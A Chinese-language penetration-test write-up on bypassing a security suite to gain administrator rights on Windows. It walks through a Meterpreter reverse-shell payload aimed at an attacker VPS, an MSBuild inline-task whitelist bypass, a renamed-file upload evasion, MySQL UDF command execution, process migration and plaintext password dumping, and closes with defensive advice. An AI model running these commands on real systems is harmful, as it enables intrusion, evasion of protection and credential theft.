绕过某安全防护套装程序实战提权
字数 1285 2025-08-26 22:11:23
绕过安全防护套装的实战提权技术详解
0x00 前言
本文详细记录了一次针对安装了安全防护套装系统的渗透测试过程,重点介绍了如何绕过安全防护措施实现权限提升的技术方法。通过webshell获取、信息收集、白名单绕过、UDF提权等多个阶段的实战操作,最终成功获取系统管理员权限。
0x01 前期信息收集
初始环境分析
-
已获取webshell但权限受限:
- 只能访问shell所在目录
- 无法跨目录访问网站根目录
- 无法访问C盘/D盘根目录
-
命令执行测试:
whoami等简单命令可执行tasklist发现安全防护进程运行中net命令被禁止执行
-
上传测试:
- 免杀exp上传到任何目录都被拒绝访问
- 直接执行rar程序被拦截
0x02 白名单绕过技术
技术原理
利用系统自带的可信程序(msbuild.exe)执行恶意代码,绕过安全防护检测。
实施步骤
-
生成C#格式的Meterpreter Payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp -
创建MSBuild项目文件:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="Hello"> <ClassExample /> </Target> <UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"> <Task> <Code Type="Class" Language="cs"> <![CDATA[ // 此处替换为生成的C# shellcode ]]> </Code> </Task> </UsingTask> </Project> -
执行Payload:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe D:\path\to\payload.csproj -
结果分析:
- 成功获取Meterpreter会话
- 但执行exp仍被拒绝访问
- 成功调出w3wp.exe进程
0x03 MySQL UDF提权
发现MySQL凭据
- 通过ASP Shell查找配置文件
- 发现MySQL root密码
UDF提权实施
-
绕过安全防护上传UDF工具:
- 将PHP后缀改为csproj可绕过检测
- 通过PHP包含执行该文件
-
导入DLL遇到的问题:
- 常规导入dll被拦截
- 发现已有udf.dll被加载
- 通过SQL查询获取现有dll内容:
select hex(load_file('c:/windows/system32/udf.dll'));
-
还原DLL文件:
<?php echo file_put_contents('udf.dll', hex2bin("SQL查询结果")); ?> -
分析现有UDF函数:
- 发现shell函数可用
- 执行命令语法:
select shell('exec','whoami');
-
通过UDF执行MSF Payload:
select shell('exec','C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://path//443.csproj'); -
权限提升技巧:
- 获取system权限后无法直接执行shell
- 需要迁移到administrator进程:
migrate <PID>
0x04 最终权限获取
-
添加用户失败:
net user添加用户成功- 加入管理员组失败
-
获取明文密码:
- 上传getpassword64工具
- 获取administrator明文密码
-
远程登录:
- 3389端口未被IP认证限制
- 使用获取的凭据直接登录
0x05 技术总结
-
白名单绕过技术:
- 利用系统可信程序(如msbuild.exe)执行代码
- 适用于严格的安全防护环境
-
UDF提权技巧:
- 利用现有UDF函数绕过防护
- 文件上传绕过技术(修改后缀为csproj)
-
权限维持方法:
- 进程迁移技术
- 明文密码获取
-
防御建议:
- 限制MSBuild等系统工具执行权限
- 监控UDF函数创建和使用
- 加强MySQL文件写入权限控制
- 实施多因素认证防止凭据滥用
0x06 工具与资源
-
使用工具:
- Metasploit Framework
- getpassword64
- C32Asm(分析DLL)
-
关键命令:
# 生成C#格式payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f csharp # 进程迁移 migrate <PID> # UDF执行命令 select shell('exec','command'); -
参考资源:
- MSBuild内联任务文档
- MySQL UDF开发指南
- Windows权限提升技术手册
通过本案例可以学习到在严格安全防护环境下的多种渗透测试技术和权限提升方法,对安全研究和防御体系建设都具有重要参考价值。